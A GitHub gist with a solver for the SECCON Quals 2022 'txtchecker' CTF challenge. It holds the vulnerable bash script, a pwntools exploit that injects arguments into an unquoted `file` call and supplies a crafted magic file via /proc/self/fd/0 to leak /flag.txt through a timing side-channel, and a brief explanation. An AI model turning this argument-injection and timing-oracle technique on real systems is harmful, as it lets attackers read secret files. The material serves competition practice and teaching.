Created
November 13, 2022 21:02
-
-
Save mvanotti/0069498b08f456e6d70b3258fb798113 to your computer and use it in GitHub Desktop.
Solver for SECCON Quals 2022, txtchecker misc challenge
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
read -p "Input a file path: " filepath | |
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null | |
# TODO: print the result the above command. | |
# $? == 0 -> It's a text file. | |
# $? != 0 -> It's not a text file. | |
exit 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwntools import pwn | |
import time | |
TIMEOUT = 1 | |
pwn.context.log_level='CRITICAL' | |
""" | |
Creates a magic instance named 'mayhem' that ends up making 2**depth calls. | |
For example for depth = 2 it would look like: | |
0 name f0 | |
>1 default x x | |
0 name f1 | |
>0 use f0 | |
>0 use f0 | |
0 name mayhem | |
>0 use f1 | |
""" | |
def build_template(depth): | |
template = ['0 name f0'] | |
template.append('>1 default x x') | |
for i in range(1, depth): | |
template.append(f'0 name f{i}') | |
template.append(f'>0 use f{i-1}') | |
template.append(f'>0 use f{i-1}') | |
template.append(f'0 name mayhem') | |
template.append(f'>0 use f{depth-1}') | |
return '\n'.join(template).encode() | |
def check_magic(magic, timeout): | |
args = 'sshpass -p ctf ssh -tt -oStrictHostKeyChecking=no -oCheckHostIP=no [email protected] -p 2022'.split(' ') | |
target = pwn.process(args) | |
target.recvuntil(b'Input a file path:') | |
parameters = b'-P name=1000000 -n -m /proc/self/fd/0 /flag.txt' | |
target.sendline(parameters) | |
target.sendline(magic) | |
target.send(b'\x04') | |
start = time.time() | |
target.recvall(timeout=timeout) | |
end = time.time() | |
print(f'{end - start}') | |
return (end - start) < timeout | |
""" | |
magic that takes too long if value at offset is not eq to given value. | |
""" | |
def neq_magic(offset, val): | |
payload = [f'{offset} byte !{val} x'] | |
payload.append('>0 use mayhem') | |
return '\n'.join(payload).encode() | |
""" | |
magic that takes too long if value at offset is greater than given value. | |
""" | |
def gt_magic(offset, val): | |
payload = [f'{offset} byte >{val} x'] | |
payload.append('>0 use mayhem') | |
return '\n'.join(payload).encode() | |
def reset(): | |
return 0x20, 0x7F, 0 | |
template = build_template(20) | |
left, right, tries = reset() | |
flag = list("SECCON{") | |
while True: | |
offset = len(flag) | |
needle=(left + right)//2 | |
if left == right: | |
magic = neq_magic(offset, needle) | |
print(f'!{chr(needle)} ', end='') | |
else: | |
magic = gt_magic(offset, needle) | |
print(f'>{chr(needle)} ', end='') | |
res = check_magic(template + b'\n' + magic, TIMEOUT) | |
if not res and left == right: | |
left, right, tries = reset() | |
continue | |
if res and left == right: | |
left, right, tries = reset() | |
flag.append(chr(needle)) | |
print(''.join(flag)) | |
continue | |
if not res: | |
left = needle + 1 | |
else: | |
right = needle | |
tries += 1 | |
if tries > 15: | |
left, right, tries = reset() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
In this challenge, you have control over the parameters passed to
file
. You can create a "magic file" (man magic
) and use that to leak data: check if a byte at a specific offset is greater than a given value, if it is, make the magic check spend a lot of time, otherwise, exit instantly.By using the parameters
-m /proc/self/fd/0
, you can pass the magic file viastdin
.